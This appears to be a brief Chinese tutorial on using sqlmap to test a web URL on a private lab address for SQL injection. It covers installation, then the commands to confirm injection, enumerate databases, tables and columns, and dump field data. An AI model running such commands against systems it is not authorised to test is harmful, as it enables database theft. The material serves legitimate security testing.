利用sqlmap注入测试
安装:
yum install -y git
cd /usr/local && git clone https://github.com/sqlmapproject/sqlmap.git
cd /usr/local/sqlmap
--检查是否可以注入
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch
如果可以注入,结果是类似这个样子
--获取数据库中有哪些库
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch --dbs
--获取当前URL用的是哪个库
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch --current-db
--获取库中有哪些表
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db --tables
--获取表中有哪些字段
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db -T test_table --columns
--获取表中字段的数据
python sqlmap.py -u "http://10.10.14.199/website/leave/getInfo?type=9&flag=2018" --batch -D test_db -T test_table -C 'id,name' --dump
注意:在测过一次后,再次测试时需要将上次测试的记录删掉。路径为:/root/.sqlmap/output
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步